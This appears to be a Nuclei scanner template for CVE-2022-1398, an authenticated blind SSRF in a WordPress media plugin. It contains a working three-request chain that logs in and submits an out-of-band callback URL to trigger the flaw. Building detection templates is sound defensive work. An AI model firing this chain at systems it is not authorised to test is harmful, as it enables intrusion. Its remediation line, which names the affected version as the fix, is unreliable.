62 lines
2.4 KiB
YAML
62 lines
2.4 KiB
YAML
id: CVE-2022-1398
|
|
|
|
info:
|
|
name: External Media without Import <=1.1.2 - Authenticated Blind Server-Side Request Forgery
|
|
author: theamanrawat
|
|
severity: medium
|
|
description: |
|
|
WordPress External Media without Import plugin through 1.1.2 is susceptible to authenticated blind server-side request forgery. The plugin has no authorization and does not ensure that media added via URLs are external media, which can allow any authenticated users, including subscribers, to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
|
|
remediation: |
|
|
Upgrade to External Media without Import plugin version 1.1.2 or later.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/5440d177-e995-403e-b2c9-42ceda14579e
|
|
- https://wordpress.org/plugins/external-media-without-import/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-1398
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 6.5
|
|
cve-id: CVE-2022-1398
|
|
cwe-id: CWE-918
|
|
epss-score: 0.005
|
|
epss-percentile: 0.73588
|
|
cpe: cpe:2.3:a:external_media_without_import_project:external_media_without_import:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 3
|
|
vendor: external_media_without_import_project
|
|
product: external_media_without_import
|
|
framework: wordpress
|
|
tags: cve,cve2022,ssrf,wordpress,wp-plugin,wp,wpscan,external-media-without-import,authenticated,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
|
- |
|
|
GET /wp-admin/upload.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST /wp-admin/admin-post.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
urls=http%3A%2F%2F{{interactsh-url}}&width=&height=&mime-type=&action=add_external_media_without_import
|
|
|
|
cookie-reuse: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- http
|
|
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- external-media-without-import
|
|
# digest: 4b0a00483046022100b83850f9e2de167b8e06e6a88ee24f69245116196bc721cad472f76446de167d022100a152c5fc7df9cd02a915b3044d96d8c2a3b6cc0ca08ec17d981029aeaf589cc7:922c64590222798bb761d5b6d8e72950 |